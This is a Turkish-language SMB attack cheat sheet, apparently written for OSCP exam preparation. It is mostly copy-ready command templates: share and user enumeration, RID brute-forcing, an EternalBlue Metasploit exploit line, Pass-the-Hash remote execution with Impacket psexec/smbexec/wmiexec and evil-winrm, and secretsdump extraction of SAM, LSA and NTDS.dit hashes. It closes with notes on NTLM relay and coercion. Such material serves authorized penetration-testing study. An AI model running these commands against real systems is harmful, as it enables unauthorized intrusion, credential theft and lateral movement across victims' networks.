SMB / CIFS (139 NetBIOS dahil)
windows445/139 Windows dosya paylasimi ve named-pipe RPC'nin ana saldiri yuzeyidir: null session ve kimlikli enumerasyon (netexec/enum4linux-ng/smbmap), share spider ve RID brute, MS17-010 (EternalBlue) tespiti, Pass-the-Hash ve Impacket exec metodlari (psexec/smbexec/wmiexec) ile foothold ve lateral movement.
Komutlar
netexec smb {{RHOST}} netexec smb {{RHOST}} -u '' -p '' --shares enum4linux-ng -A {{RHOST}} smbclient -L //{{RHOST}}/ -N smbmap -H {{RHOST}} -u '{{USER}}' -p '{{PASS}}' smbclient //{{RHOST}}/SHARE -U '{{DOMAIN}}\{{USER}}%{{PASS}}' netexec smb {{RHOST}} -u '{{USER}}' -p '{{PASS}}' --shares --users --groups --pass-pol netexec smb {{RHOST}} -u '{{USER}}' -p '{{PASS}}' --rid-brute netexec smb {{RHOST}} -u '{{USER}}' -p '{{PASS}}' -M spider_plus nmap -n -p445 --script smb-vuln-ms17-010 {{RHOST}} netexec smb {{RHOSTS}} -M ms17-010 msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS {{RHOST}}; set LHOST {{LHOST}}; run' netexec smb {{RHOST}} -u '{{USER}}' -H {{NTHASH}} impacket-psexec {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}} impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} impacket-smbexec {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}} impacket-secretsdump {{DOMAIN}}/{{USER}}:'{{PASS}}'@{{RHOST}} impacket-secretsdump -just-dc -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{DC_IP}} evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}} SMB (139/445) Genel Bakis
445/tcp modern SMB; 139/tcp eski NetBIOS-over-TCP tasiyicisidir. SMB sadece dosya paylasimi degildir — uzerinde named pipe’lar (samr, lsarpc, srvsvc, svcctl, spoolss) calisir; kullanici/grup enumerasyonu, RID brute, servis olusturma (PsExec) ve secret dump hep buradan gecer. OSCP’de neredeyse her Windows kutusunda ilk durak budur.
Enumeration — Kimliksiz / Null Session
- Protokol/imza bilgisi:
netexec smb {{RHOST}}host’un OS surumunu, domain/hostname’i, SMB signing durumunu (relay icin kritik) ve SMBv1 varligini gosterir. - Null session: anonim olarak share, kullanici ve parola politikasi cekmeye calisin (
-u '' -p '').enum4linux-ngbunu otomatiklestirir. - Share listeleme:
smbmapvesmbclient -Lile paylasim ve READ/WRITE izinleri. - RID cycling: SID tabaninda RID brute ile kullanici listesi cikarin (
netexec ... --rid-brute).
Enumeration — Kimlikli
Gecerli {{USER}}/{{PASS}} ya da {{NTHASH}} varsa:
- Tum share’leri spider’layin, ilginc dosyalari (config,
.kdbx,unattend.xml,Groups.xml/GPP cpassword) cekin. --users --groups --pass-pol --loggedon-usersile domain bilgisini genisletin.--sharesile yazilabilir share arayin (DLL hijack / SCF / lnk poisoning adayi).
Bilinen Zafiyet — MS17-010 (EternalBlue)
- Manuel tespit (OSCP-safe):
nmap --script smb-vuln-ms17-010veyanetexec ... -M ms17-010. SMBv1 acik + yamasiz Windows 7/2008 → guclu aday. - Exploitation: OSCP’de tercih edilen yol AutoBlue (
zzz_exploit.py/eternalblue_doublepulsarpython) gibi manuel exploitlerdir. Metasploitms17_010_eternalbluemodulu calisir ama OSCP restricted sayar — sinavda yalnizca tek otomatik exploit hakkiniz olabilir, bilincli kullanin.
Pass-the-Hash & Exec Metodlari
NT hash ele gectiginde parola gerekmez:
- impacket-psexec: ADMIN$‘a binary atar, servis olusturur → SYSTEM. Gurultulu, event log birakir.
- impacket-smbexec: servis tabanli ama disk’e binary atmadan, daha sessiz; semi-interaktif.
- impacket-wmiexec: 135/WMI uzerinden, servis kurmaz, en sessizi.
- impacket-atexec: Task Scheduler ile tek komut.
Local admin hash’i ile lateral movement icin
netexec smb ... -xveya bu metodlardan birini kullanin.
Loot — secretsdump
Local admin/DA yetkisiyle impacket-secretsdump SAM, LSA secrets ve (DC ise) DRSUAPI ile NTDS.dit hash’lerini ceker. Cikan hash’ler PtH zincirini besler. Mimikatz/lsassy bellekten plaintext/ticket toplar.
Notlar
- SMB signing kapali ise NTLM relay (ntlmrelayx) mumkun; rpcdump’taki coercion (PrinterBug/PetitPotam) ile birlestirin.
- Hicbir komutta sabit IP yok; hedefi
{{RHOST}}/{{RHOSTS}}, DC’yi{{DC_IP}}ile verin. Kimlik daima token:{{USER}}{{PASS}}{{NTHASH}}{{DOMAIN}}.